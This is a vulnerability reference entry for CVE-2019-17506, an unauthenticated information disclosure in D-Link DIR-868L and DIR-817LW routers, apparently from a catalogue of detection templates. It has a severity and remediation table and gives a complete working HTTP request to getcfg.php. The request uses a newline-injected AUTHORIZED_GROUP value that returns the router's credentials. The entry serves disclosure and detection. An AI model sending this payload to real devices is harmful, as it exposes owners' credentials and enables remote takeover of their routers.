| Title | D-Link DIR-868L/817LW - Information Disclosure |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and credentials. |
| Remediation | Apply the latest firmware update provided by D-Link to fix the information disclosure vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93847 |
| CVE ID | CVE-2019-17506 |
| CWE ID | CWE-306 |
| Tags | cve cve2019 dlink router disclosure vkev vuln |
D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router’s username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.
POST /getcfg.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 47
Accept: */*
Accept-Language: en
Content-Type: text/xml
Accept-Encoding: gzip
SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17506.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17506.pcap
N/AN/A